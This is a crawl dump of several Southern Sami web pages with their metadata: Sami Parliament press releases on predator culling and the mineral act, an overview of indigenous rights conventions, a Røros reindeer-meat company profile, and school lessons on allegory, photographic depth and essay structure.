jeahta.\nAkte pryöveprosjekte aarhtseskaaraj bïjre Romsesne ij leah aalkeme guktie Stoerredigkie lea tsihkestahteme. Prosjekte edtji dovne sïrvejielemem jïh båatsoem feerhmedh.\nDåeriesmoerh juvrigujmie læssanieh jaepeste jaapan, jïh daelie aaj bïerne skaarah dorje krievvine. Daan våhkoen göökte bïernh stoerre skaarah dorjeme aktene krievvesne Guovdageaidnusne, båatsoesaemiej mietie dajvesne. Daan aejkien skaara lissien dorjesovvi bïernedajven ålkolen.\nSaemiedigkieraerie Berit Marie Eira veanhta aamhtesegïetedimmietïjje bïernevuetjemeluhpiedimmien bïjre lea fer guhkie.\n–Vihkeles vuetjemeluhpiedimmiem dagkerh aamhtesinie åadtjodh dan varke gåarede olles stuerebh skaarah dorjesovvh. Saemiedigkie veanhtede juvreåejvieladtjh luhpiedimmiem vedtieh skaarajuvrh vuetjedh dan varke skaara lea dorjesovveme. Seammalaakan dej skaaraj bïjre mah sjugniehtuvvieh sïrvejieliemisnie, Eira jeahta.\nJuvrh vielie krööhkestieh goh gåatomekreekh\nSaemiedigkieraerie aaj jeahta Saemiedigkie ij leah madtjeles juktie Romsa jïh Finnmaarhke leah stilleme govhte tjovkedåehkieh bïerneste utnedh.n.\n–Dan åvteste ij leah daam veahkam jakseme dellie Byjresedepartemeente tjuara gaajhkh ohtsemh vuetjemen bïjre sjæjsjalidh. Destie aamhtesegïetedimmietïjje guhkebe sjædta, mij dovne båatsoem jïh sïrvejïelemem akten nåake tseahkan beaja, Eira jeahta.\nSaemiedigkieraerie veanhta byjreseåejvieladtjh juvride vielie krööhkestieh goh gåatomekreekide, jïh tjïerteste daate ij leah akteraeresne Stoerredigkien nænnoestimmine mij jeahta dovne gåatomekreekh jïh juvrh edtjieh Nöörjesne årrodh.\n–Jaepien 2015 mijjieh stoerre teehpemh utnimh mejtie bïerne lij dorjeme, joekoen Luvlie-Finnmaarhkesne. Dellie idtji luhpie vadtasovvh bïernem vuetjedh. Daate aaj vuesehte byjreseåejvieladtjh juvride vielie krööhkestieh goh gåatomekreekide, Eira minngemosth jeahta.\nJis gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem, Berit Marie Eira, mob. 913 28 626","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Verkebe-vaestiedassen-bijre-birrie-juvrevuetjemen-bijre","date":"2019-03-19T05:50:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201904.55\/warc\/CC-MAIN-20190319052517-20190319074517-00053.warc.gz","language":"sma","language_score":0.9999928474,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.999992847442627}","num_words":240,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïelke lahkoe\nRørosrein AS:\nSaetniesvoeth\nbovtsenbearkoen bïjre\n- Dïhte maam almetjh byöpmedin goh nommere golme jåvlide jïh orrejaepien lij bovtsenbearkoe\n- is fïerhte almetje Nöörjesne 300 gram bovtsenbearkoste byöpmedi dellie ij sïjhth vielie bearkoe aajmene årrodh maarhkedesne\nEva Nordfjell mijjem fuelhkiegaertienisnie dååste ånnetji Rørosen jarngen ålkolen. Daesnie geellebinie ektine Magne Eggen Haugom sov guhkies nïekedassem saatnan dorjeme. Mænngan sïeltine nïerhkin jaepien 2010 Rørosrein lea jïjtjemse akten sïeltese jïh vaaroemïerhkese evtiedamme mij variasjovnem jïh kvaliteetem jarngesne åtna.\nFaahketji aalkoe\nSïelte sååjhti reakasovvedh akten faahketji nuepien tjïrrh, jïh geajnoe lahkose lea sjïdtedamme sïlleste sïllese.\n–Ajve numhtie sååjhti mijjieh daejnie eelkimh, mijjieh nïekedassine utnimh mijjieh meehtimh båatsoste jieledh. Gosse bovtsigujmie nïerhkimh mænngan mov eejhtegh orrijin, dellie månnoeh geelle Magneh sïejhme barkoem utnimen. Mijjieh raaktan daejnie nïerhkimh dan åvteste mijjieh såemies gyhtjelassh turisti bïjre åadtjoejimh, mah sïjhtin bovtsh vuartasjidh.\n– Jïh dan mænngan ajve jiene-jienebe sjïdteme, voestegh aktem låavthgåetiem utnimh gusnie guessieh dåastoejimh, ånnetji mænngan derhviegåetiem tseegkimh gusnie eelkimh gaskebiejjiem gåassoehtidh guesside mah tjaangin. Daate lij jaepien 2008 jïh dellie annje jeatjah aatigujmie barkimh. Jïh dle manne barkohth sjïdtim jïh ussjedim \"maam daelie darjobe?\" Destie aktem åssjaldahkem ohtsedimh maam guhkiem åtneme, akten ellies aarvoesjugniedimmiem krievvien bïjre utnedh gusnie miesiem dåeriedimh reakadimmien raejeste, goske leekesåvva, jurjiehtamme jïh gåassoehtamme sjædta guessien buertien nelnie, Eva Nordfjell tjïelkeste.\nTjuara meatan årrodh abpe prosessesne\nGaalletjeguaktah varke guarkajigan jis såtnoeh edtjigan buektiehtidh barkoesijjieh evtiedidh jïh vielie dïenestem sjugniedidh, dellie Rørosrein AS tjoeri abpe prosessem jïjtje stuvredh, ryöjnesjimmien raejeste gaervies dorjesen raajan. Dan åvteste vierhtiej bïjre syökin Innovasjovne Nöörjeste juktie gaertenen fievsiem jeatjahtehtedh daajbaaletje lokaalide smeejvemasse jïh jåarhkeevtiedæmman bearkoste.\n– Don aejkien ussjedin göökte barkoesijjieh sjugniedidh men daelie dej leah abpe 16 almetjh baalhkalæstosne. Daelie mahte 7 jaepiebarkoeh utnebe. Naa luste mijjieh dan jïjnjem buektiehtamme jïh ïedtje bovtsenbearkose ajve læssene. Bovtsenbearkoe ij leah naan liehties vaaroe, mijjen mïelen mietie bearkoe lea dïhte aejliesommes bearkoe maam maahta åadtjodh daennie laantesne, jïh dan åvteste ij edtjh bearkoem lihtieslaakan doekedh. ïihte sïejhme åestije mijjen luvnie ij åasan mietie gihtjh, mijjen åestijh kvaltiteetem sijhtieh, dah daejrieh maam sijhtieh jïh sijhtieh dam buaratjommesem utnedh dehtie buaratjommesistie jïh dan åvteste ij leah åasa vihkeles dejtie, Eva soptseste.\nDååjresh turistide\nDaan raajan sïelte gellie baalhkah vitneme sov bearkoedorjesi åvteste. Gaskem jeatjah dej leah göökte voestesbaalhkah jïh akte mubpienbaalhka finaaleste gaahtjemisnie Norske Måltider. Daelie Rørosrein AS jarngesne åtna dorjesh hijven kvaliteeteste utnedh mejtie åestije maahta åestedh jïh dagke aaj vadtesinie vedtedh. Guktie jïjtjh jiehtieh, dah aaj dam aajnehke gejhkiegoervem ajve bovtsenbearkojne darjoeh. Men jalhts bearkoedorjemasse hijven jåhta dellie sïelte aaj sæjhta jienebi juelkiej nelnie tjåadtjodh\n– Mijjieh soejkesjibie dååjresh vedtedh turistide. Mijjieh eelkimh bovtsh deemedh, men idtjimh rikti lyhkesh dejnie aalkoelisnie, idtjimh asth jïh idtjimh nuepieh utnieh bovtside nuekies deemedh, men daelie buerebe sjïdteme. Dæjman 14 låemties bovtsh utnimh jïh dejstie 8 lin vuejemeråantjoeh, jïh jeenjesh sijhtieh maaje vuejemeråantjojne vuejedh. Mov lea dïedte dej bovtsi åvteste mah leah deemesovveme jïh mijjieh edtjebe vielie daejnie gïehtelidh båetijen aejkien. Røros lea aalkovisnie gaskenasjonaale turismine jïh mijjieh vïenhtebe mijjieh aktem dorjesem utnebe mij maahta gieltegs årrodh turistide mah diekie båetieh. Mijjieh iktegisth jïjtjemem maarhkedese sjïehtedeminie jïh dejtie joekehts daerpiesvoetide maarhkede åtna abpe jaepien. Daelie vuejnebe turisth faalenassem sijhtieh abpe jaepien.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/samimag.no\/se\/node\/1171","date":"2019-03-26T14:13:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205534.99\/warc\/CC-MAIN-20190326135436-20190326161436-00434.warc.gz","language":"sma","language_score":0.9999957085,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999957084655762}","num_words":506,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeh maehtieh dåarjoem åadtjodh?\n- Bertemh\n- Faagebyjresh laavenjostosne maanagïertigujmie saemien maanagïertefaalenassine\nMïsse maahta dåarjoem åadtjodh?\nPrioriteradamme prosjekth leah:\n- Pedagogeles ïebnh mah vuesiehtieh guktie saemieh eatnemem gorredieh jïh dam vierhtine nuhtjieh\nMan jïjnjem maahta åadtjodh?\nDåarjoen stoeredahke olkese ryöknesåvva buerkiestamme ohtsemen jïh prosjektebuerkiestimmien mietie\nDej veajkoej prosjekte jïh dan åasa-aarvehtse vuesiehtieh lea daerpies vihties ryöknedimmienjoelkedassigujmie, maahta dåarjoem vedtedh ryöknedimmienjoelkedassi mietie juktie learoevierhtieh evtiedidh (Dåarjoe juktie learoevierhtieh evtiedidh Dåarjoenjoelkedassh 2019), dan gåhkese gåarede. Daate faamosne dejtie prosjektide gusnie edtja manuseteekstem evtiedidh mij akte stoerre bielie dorjesistie, goh trygkeme teemagærjetjh, gærjah jallh digitaale lïerehtimmievierhtieh.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/saemiedigkie.no\/Daaarjoe-jih-stipende\/Daaarjoe-evtiedaemman-pedagogeles-iebnijste-maanagiertide","date":"2019-03-19T06:01:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201904.55\/warc\/CC-MAIN-20190319052517-20190319074517-00101.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":89,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«Goh akte vihkeles våarome sov saemiepolitihkese reerenasse våaroemasse beaja staate Nöörje aalkoelisnie lea tseegkesovveme eatnamisnie göökte åålmegidie – saemieh jïh daaroeh – jïh gåabpegh åålmegh dam seamma reaktam jïh seamma krïevenassem utnieh sijjen kultuvrem jïh sijjen gïelem evtiedidh. Daate prinsihpeles seammavyörtegsvoete lea vihtiestamme Maadthlaaken § 110 A»\nStoerredigkiebïevnese 55 (2000-2001)\nReaktavåarome gååvnese gaskenasjonaale almetjerïekteles viedteldihkie konvensjovnine, sisnjelds nöörjen reaktesne jïh saemiej provhkine jïh reaktavuajnojne.\nGoh saemiej almetjeveeljeme årgaane Nöörjesne Saemiedigkie ulmine åtna barkedh jååhkesjimmien åvteste saemiej vihkielommes reaktijste, goh våarome juktie saemien kultuvrem, gïelem jïh siebriedahkejieledem gorredidh jïh nænnoestehtedh, jïh ihke ovmessie saemien aerpievuekieh jielieminie.\nAlmetjereaktan jïh saemien reaktaj sjïekenisnie lea vihkeles tjïertestidh:\n- Aalkoealmetjedïejvese ij leah ektiedamme dejtie mah voestegh böötin.\nAalkoealmetjedïejvese jïh aalkoealmetjereaktah eah leah ektiedamme arkeologeles dokumentasjovnese mij soptseste gïeh voestegh böötin. Aalkoealmetjereaktah leah reaktaj bïjre dejtie almetjidie mah aalkoelisnie lea aktene dajvesne åvtelen nasjonaalestaate tseegkesovvi, men mah idtjin seahkarimmiem åadtjoeh goh seammavyörtegs.\nILO-konvensjovnesne nr. 169 aalkoealmetji jïh krirriealmetji bïjre jïjtjeraarehke staatine tjåådtje aalkoealmetjh leah:\n«Almetjh jïjtjeraarehke staatine mah leah vuajnalgamme goh dah lin desnie aalkoelisnie, dan åvteste dej maadtoe lea almetjh mah laantesne jallh aktene geografeles dajvesne årroejin mij laantese govlesovvi gosse ritneme jallh kolonialiseradimmie sjugniehtovvi, jallh gosse doh daaletje staateraasth vihtiestamme sjïdtin, jïh bielelen dej rïekteles sijjiem krööhkestidh leah utniehtamme gaajhkh jallh såemies sijjen jïjtsh sosijaale, ekonomeles, kultuvrelle jïh politihkeles institusjovnijste».\n- Saemieh eah sjïere reaktah utnieh mah daaroej reaktah goerpedehtieh.\nAalkoealmetjinie årrodh ij sïjhth jiehtedh daan åålmegen leah stuerebh reaktah eatnamasse jïh tjaatsan mubpijste. Saemieh eah jienebh reaktah daarojste utnieh eatnemevierhtieh nuhtjedh, bielelen båatsoe mejnie aerpievuekien mietie ajve saemieh lin åådtjeme gïehtelidh Nöörjesne. Jeatjah jielemh goh laanteburrie jïh gööleme sijjen sjïere reaktah utnieh bielelen naan kultuvrelle ektiedimmiem krööhkestidh.\nAalkoealmetjereaktah gorredieh saemieh edtjieh seamma nuepieh daarojste åadtjodh sijjen kultuvrem tjåadtjoehtidh, sijjen jieledevuekiem utniehtidh jïh nuepiem utnedh aktine åålmeginie årrodh aaj båetijen aejkien. Daesnie jeenjesh sjïere råajvarimmieh båajhtode guarkah goh sjïere reaktah.\nIj leah naan sjïere reakta saemien maanah edtjieh seamma nuepieh åadtjodh sijjen ietniengïelem skuvlesne lïeredh goh nöörjen maanah. Daate reakta lea vihtiestamme Ööhpehtimmielaakesne, jïh daan sjïere laaketeksten bielelen saemien maanah lin sïerredamme sjïdteme. Dïhte mij seapan vååjnoe goh joekehts gïetedimmie, ij leah jeatjah goh akte råajvarimmie mij lea daerpies juktie hedtiem, seammavyörtegsvoetem jïh seamma nuepieh gorredidh.\nGaskenasjonaale konvensjovnh\n- EN:n konvensjovne sivijle jïh politihkeles reaktaj bïjre jaepeste 1966 (SP) jienebh vihkeles almetjerïekteles njoelkedassh åtna saemierïekteles ektiedimmesne. Daate konvensjovne aaj sjïehtesjamme nöörjen reaktan sïjse jïh faamoem åtna jeatjah laaki åvteli, v. almetjerreaktalaake. Joekoen vihkeles artihkele 1 mij lea almetji reaktan bïjre jïjtjenænnoestæmman, artihkelh 2, 3 jïh 26 mah leah ij-sïerredimmien bïjre jïh artihkele 27 mij vihteste almetjh mah etnihkeles, religijööse jallh gïeleldh unnebelåhkojste båetieh eah edtjh reaktam nyöjhkesovvedh sijjen kultuvrem sujhtedh, jïjtsh religijovnese jaehkedh jallh jïjtsh gïelem nuhtjedh. Aalkoealmetji muhteste artihkele 27 lea aaj reaktan bïjre materijelle kultuvresujhtemasse jïh aerpievuekien jielemegïehtelæmman mij lea åtnose eatnamistie jïh eatnemevierhtijste ektiedamme. Nænnoestimmie aaj vaarjelimmiem vadta eatnemebigkemen vööste dejnie dajvine mejnie aalkoealmetjh aerpievuekien jielieminie gïehtelieh.\n- EN:n konvensjovne ekonomkeles, sosijaale jïh kultuvrelle reaktaj bïjre jaepeste1966 (ESK) aaj artihkelh åtna mah stoerre vihkelesvoetem utnieh dejtie saemierïekteles gyhtjelasside. Goh SP dle aaj ESK almetjereaktalaaken tjïrrh sjïehtesjamme nöörjen reaktan sïjse jïh faamoen åtna jeatjah laaki åvteli. Artihkele 1 mij lea reaktan bïjre jïjtjenænnoestæmman lea seamma goh artihkele 1 SP:sne. Artihkelh 2 nr. 2 jïh 13 vihtiestieh staath dïedtem utnieh tjirkedh tjïrrehtimmie reaktijste mah leah vihtiestamme.\n- EN:n konvensjovne maanaj reaktaj bïjre (MK) göökte reaktah åtna mah sjïerelaakan aalkoealmetjemaanaj reaktah neebnieh. Artihkele 30 lea mahte seammalaakan goh SP artihkele 27, dejnie joekehtsinie aalkoealmetjh leah sjïerelaakan neebnesovveme MK:sne artihkele 30. Nænnoestimmie almetjerïekteles åeliedimmieh tseegkie staatese saemien maanaj byjjenimmietsiehkiej bïjre jïh dej religijööse, kultuvrelle jïh gïeleldh reaktaj bïjre. Artihkele 17 (d) aktem åeliedimmiem staateste tseegkie ihke meedija sjïerelaakan aalkoealmetjemaanaj gïeleldh daerpiesvoeth krööhkeste. Maanakonvensjovne lea goh SP jïh ESK sjïehtesjamme nöörjen reaktan sïjse almetjereaktalaaken tjïrrh.\n- ENs konvensjovne nåhkehtimmien bïjre gaajhkesåarhts naeliesïerredimmijste jaepeste 1965 (NSK) lea dïhte vihkielommes almetjerïekteles dïrrege sïerredimmieektiedimmesne. Sïerredimmie aalkoealmetjijstie govlesåvva daan konvensjovnen nuelesne. EN:n naeliesïerredimmiemoenehtse joekoen tjïerteste aalkoealmetji teehpeme eatnamistie jïh eatnemevierhtijste koloniseerije, kommersijelle sïeltide jïh staateles gïehtelimmide» lea sïerreden. Naeliesïerredimmiemoenehtse gaskem jeatjah lahtesti Nöörjen Reerenassen raeriestæmman finnmaarhkelaakese, gusnie tjoeperde ihke laakeraeriestimmie saemien gïehtjedimmiem jïh sjæjsjalimmiefaamoem eatnamasse jïh eatnemevierhtide Finnmaarhken fylhkesne joekoen tjarke giehpede. Moenehtse birri Nöörje tjoeri pryövedh raerieh gaavnedh eatnemereaktagyhtjelasside mej bïjre saemien åålmege maahta seamadidh. http:\/\/www.universalhumanrightsindex.org\/documents\/824\/490\/document\/en\/pdf\/text.pdf..\n- Skïereden 13. b. 2007 EN:n generaalekrirrie nænnoesti EN:n bæjhkoehtimmiem aalkoealmetji reaktaj bïjre. Bæjhkoehtimmie lea reaktaj bïjre jïjtjenænnoestæmman, eatnamasse jïh vierhtide, rååresjimmieh frijje beavneme jååhkesjæmman, kultuvre, kultuvreaerpie, aerpievuekien daajroeh, gïele, healsoe jïh ööhpehtimmie. Bæjhkoehtimmie tjïelkelaakan aalkoealmetji reaktam jïjtjenænnoestæmman jååhkesje, daan nuelesne saemien åålmegen reakta frijjelaakan sov ekonomeles, sosijaale jïh kultuvrelle evtiedimmien jïh jïjtse eatnemevierhtiej bijjelen nænnoestidh, jïh reakta frijjelaakan sijjen politihkeles sijjien bijjelen nænnoestidh. Bæjhkoehtimmie aaj tjïerteste saemiej reaktam sijjen politihkeles, rïekteles jïh ekonomeles institusjovnh nænnoestehtedh.\n- ILO-konvensjovne nr. 169 aalkoealmetji jïh krirrieåålmegi bïjre jïjtjeraarehke staatine jaepeste 1989 (ILO 169) lea akte vihkeles almetjereaktadïrrege aalkoealmetjereaktaj bïjre. Konvensjovne lea laantereaktaj bïjre, barkoetsiehkie, barkoelïerehtimmie, healsoe jïh ööhpehtimmie. Konsultasjovnh jïh meatanårrome leah roenegierkie konvensjovnesne.\n- Konvensjovne biologeles gellievoeten bïjre jaepeste1992 (BGK) lea aaj sjyöhtehke aktene saemierïekteles evtiedimmesne, joekoen artihkelh 8j jïh 10c. Goh lïhtse dejnie staateles åeliedimmine juktie dam biologeles gellievoetem vaarjelidh, staath edtjieh «seahkaridh, gorredidh jïh tjåadtjoehtidh daajroem, orresjugniedimmieh jïh praksisem aalkoealmetjesiebriedahkide jïh voenges siebriedahkide mah aerpievuekien mietie jielieh.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Vaaarome\/Reaktah","date":"2019-03-19T06:00:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201904.55\/warc\/CC-MAIN-20190319052517-20190319074517-00149.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":816,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.162,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Allegorije lea greeske baakoe, mij åarjelsaemien gïelesne sjædta \"jeatjahlaakan soptsestidh\" jïh \"jortehtidh\". Gosse mijjieh allegorije tjaalegem lohkebe dle byörebe dam guarkedh goh guvvie mestie akt mij stuerebe jallh vihkielåbpoe.\nTjaalege mij maam akt jeatjebem vuesehte\nAllegorije lea soptsestimmieh, tjaalegh jallh guvvieh. Ibie edtjh dejtie toelhkestidh öövre guktie leah, men symboli mietie. Maehtebe jiehtedh allegorije lea symbole. Mijjieh maehtebe allegorijem gaavnedh romaanine jallh draamine.\nFabele\nJuvre-fabelh maehtieh allegorije-tjaaleginie årrodh. Tjaalegisnie Bïerne (gærjesne: Lohkede saemien) dellie mijjieh Lutniestæjjan bïjre lohkebe guhte eatnamisnie fealedeminie. Lutniestæjja edtja johken rastah jïh viehkiem daarpesje. Bïerne Lutniestæjjam viehkehte jïh dam johkem rastah saehtele. Dellie bïerne almetji jïjtsevoeth vuesehte. Men dah jeatjah juvrh jïh almetjh mah idtjin sïjhth Lutniestæjjam viehkiehtidh nåakebe jïjtsevoeth vuesiehtieh.\nViertiedasse\nViertiedasse lea seamma goh parabele. Viertiedasse lea åenehks tjaalege, mij jortigi-soptsesvuekien mietie tjaaleme. Viertiedasse lea biejjieladtje heannadimmiej bïjre. Heannadimmie lea goh guvvie gusnie mij akt jeatjebe vöörhkesovveme. Lohkije tjuara jïjtje pryövedh guarkedh man bïjre tjaalege lea.\nBaakoeh\nSaemien\nDaaroen\njïjtsevoeth\negenskaper\nviertiedasse\nlignelse\nalmetji jïjtsevoeth\nmenneskelige egenskaper\n- Kjernestoff\nAllusjovneKjernestoff\nEufemisme jïh dysfemismeKjernestoff\nSealoedimmieKjernestoff\nLaejhtehkeKjernestoff\nRijme jïh jievkehtimmieKjernestoff\nMubpesth jiehtedhKjernestoff\nKontrasteKjernestoff\nMetonymijeKjernestoff\nPersonifikasjovneKjernestoff\nViertiestimmie, metafovre jïh klisjeKjernestoff\nSymbolhKjernestoff\nLaavenjassh: AllegorijeKjernestoff\nLaavenjassh: Eufemisme jïh dysfemismeKjernestoff\nLaavenjassh: SealoedimmieKjernestoff\nLaavenjassh: KontrasteKjernestoff\nLaavenjassh: Mubpesth jiehtedhKjernestoff\nLaavenjassh: PersonifikasjovneKjernestoff\nLaavenjassh: SymbolhKjernestoff\nMan jïjnjem maahtah?Kjernestoff\nMaam maahtah?Kjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:166611\/topic:1:182229\/resource:1:157276","date":"2019-04-19T17:35:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00460.warc.gz","language":"sma","language_score":0.9997653365,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9997653365135193}","num_words":205,"character_repetition_ratio":0.125,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jieleme- jïh göölemedepartemeente aktem tjiehpijemoenehtsem nammoehti ruffien juktie mineraalelaakem vuarjasjidh. Moenehtse sov reektehtsem deelli departemeentese goeven 18. b. 2018. Reektehtsinie stoerre leavloe bïejesåvva vaanojde laakine juktie gorredidh mineraaleprosjekth leah siebriedahkeeknonomeles gaagnine, jïh vaanoeh gorredimmien bïjre saemien reaktijste.\n– Gosse daanbeajjetje mineraalelaake ij tjïelke krïevenassh bïejh akten tjåenghkies siebriedahkeekonomeles vuarjasjimmien bïjre, dellie laake rïektesisnie sjïehteladta gïehtelimmide mah eah leah gaagnine. Daate akte tsiehkie maam mijjieh Saemiedigkien bieleste libie guhkiem tjïertestamme, ij goh unnemes aamhtesisnie luhpiedimmiej bïjre akten Nussir-gruvese Repparfjovlesne, Muotka jeahta.\nStoerredigkie mineraalelaakem nænnoesti 2009 bielelen Saemiedigkien jååhkesjimmie. Saemiedigkie idtji sov jååhkesjimmiem vedtieh dan åvteste laake ij lij akteraeresne staaten almetjerïekteles åeliedimmiejgujmie saemiej åvteste.\n– Joekoen hijven moenehtse dan tjïelkelaakan jeahta akte barkoe tjuara aelkedh mij stuvrehtimmieh mineraalelaakesne vadta mah Nöörjen almetjerïekteles åeliedimmieh saemiej åvteste illieh, dovne Finnmaarhkesne jïh Finnmaarhken ålkolen. Daelie veanhtedem departemeente daam itjmieslaakan vaalta jïh aktine dagkarinie barkojne nearhka Saemiedigkine ektine, Silje K. Muotka jeahta.\n– Evalueradimmiemoenehtsen reektehtse tjïelkelaakan jeahta mineraaleåajvaladtjen lea dïedte jïjtjeraarehke vuarjasjimmieh darjodh ohtsemisnie gïehtelimskonsesjovnen bïjre, jïh ij saaht guktie maahta våaroemasse bïejedh jeatjah åejvieladtji vuarjasjimmieh, vuesiehtimmien gaavhtan byjresen, göölemen jallh båatsoen bïjre. Manne aervedem dah mah byjresen jïh almetjereaktaj bïjre pryöjjadieh dam gåajhtsadieh, jïh vuejnieh ellies jïh eensi vuarjasjimmiej gaavhtan gåarede jïh dïedtem utnieh gïehtelimskonsesjovnem nyöjhkedh aamhtesinie mah leah gïetedæmman daelie, saemiedigkieraerie Silje K. Muotka minngemosth jeahta.\nGyhtjelassh jallh gihtjehtimmie, gaskesadth saemiedigkieraeriem Silje K. Muotka, mob. +47 984 87 576","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Moenehtse-raereste-aalkoealmetjereakta-jih-siebriedahkeekonomeles-vuarjasjimmieh-tjuerieh-mineraalelaaken-sijse","date":"2019-04-24T17:52:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578655155.88\/warc\/CC-MAIN-20190424174425-20190424200425-00474.warc.gz","language":"sma","language_score":0.9999907017,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999990701675415}","num_words":216,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse guvviedæjja aktem guvvie-raajroem guvvedeminie maahta ovmessie viehkie-vierhtieh nuhtjedh. Maam guvvien åvtese jallh duakan guvvede gïengelem sjugnede.\nGïengele-vuajnoe\nVihkeles gïengelem sjugniedidh guvvine, guktie dah eah plïehtje vååjnh. Guvviedæjjah maehtieh dam joekehtslaakan darjodh, goh linjah guvvien sïjse darjodh. Linjah maehtieh rïektes jallh ussjedamme årrodh. Vuesiehtimmie-guvvesne guvviedæjja aktem gujnem åvtene bïejeme. Dïhte guvvien sïjse vuajna, jïh guvvie dan åvteste hijven gïengelem åådtje gosse dåeriedibie gåabph altese tjelmieh vuejnieh.\nLissiehtamme gieltegsvoete\nMen guvviedæjja maahta aaj duekiem nuhtjedh juktie lissine gieltegsvoetem sjugniedidh. Mubpene guvvesne göökte almetjh guvviedamme mah ryöktesth gujnen vööste vaerrieh. Mijjieh dåeriedibie gåabph altese tjelmieh vuejnieh, mah dejtie göökte almetjidie vuejnieh sijjeste aktem gåaroes sijjiem.\nVielie bïevnesh\nGosse dovne åvtem jïh duekiem nuhtebe dellie guvviedæjja maahta vielie bïevnesh guvvien sïjse bïejedh. Guvvie vielie soptseste.\nBaakoeh\nSaemien\nDaaroen\nåvte\nforgrunn\nduekie\nbakgrunn\ngïengele-vuajnoe\ndybdevirkning\ngïengele\ndybde\nrïektes\nvirkelige\nussjedamme\ntenkte\nGuvvie-raajroeKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175143\/topic:1:175146\/resource:1:172842","date":"2019-04-22T14:52:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00034.warc.gz","language":"sma","language_score":0.9998803139,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999880313873291}","num_words":138,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.043,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtah tjaalegh tjaeledh joekehtslaakan, men doh jeanatjommes tjaalegh byöroeh aalkoem, åejvie-boelhkem jïh galhkuvem utnedh. Darjoeh sjissam guktie sïjhth dov tjaalegem tseegkedh, åvtelen aalkah tjaeledh.\nTjaalege Nihtieh kreeke-pryövenassh! maam P. Thoresen tjaaleme, lea tjaalege mij lea tseegkeme vïjhteboelhke-vuekien mietie.\nVïjhteboelhke-vuekie lea akte bïhkedasse maam maahtah nuhtjedh gosse edtjh aktem ahkedh tjaalegem tjaeledh. Maahtah vuekiem viertiestidh dejnie barkojne gåetiem bigkedh. Naemhtie maahtah darjodh:\n- Datne aktem bagkesimmiem daesnie tjaalah (daesnie kreeke-pryövenasse).\n- Datne voestes argumeentem tjaalah mij bagkesimmiem tjïelkeste (daesnie: gellie millijovnh kreekh leah geerestamme laboratovriji sisnie jïh desnie almetjh dejtie nuhtjieh gelline baaktjes pryövenassine).\n- Datne mubpiem argumeentem tjaalah mij bagkesimmiem tjïelkeste (daesnie: Ij naan kreekevaarjelimmie-laake gååvnesh mij maahta luhpehts åtnoem heerredidh).\n- Datne gåalmedem argumeentem tjaalah mij bagkesimmiem tjïelkeste (daesnie: Jeenjesh kreeke-pryövenassh voebnesjieh dan åvteste dïhte lea buaratjommesasse almetjidie.\n- Datne konklusjovnem tjaalah gusnie gaajhkh golme argumeenth meatan vaaltah mejtie datne buakteme.\nDaam bïhkedassem maahtah nuhtjedh aktene åenehks argumentereles tjaalegisnie. Gosse aktem guhkies tjaalegem tjaalah jïh 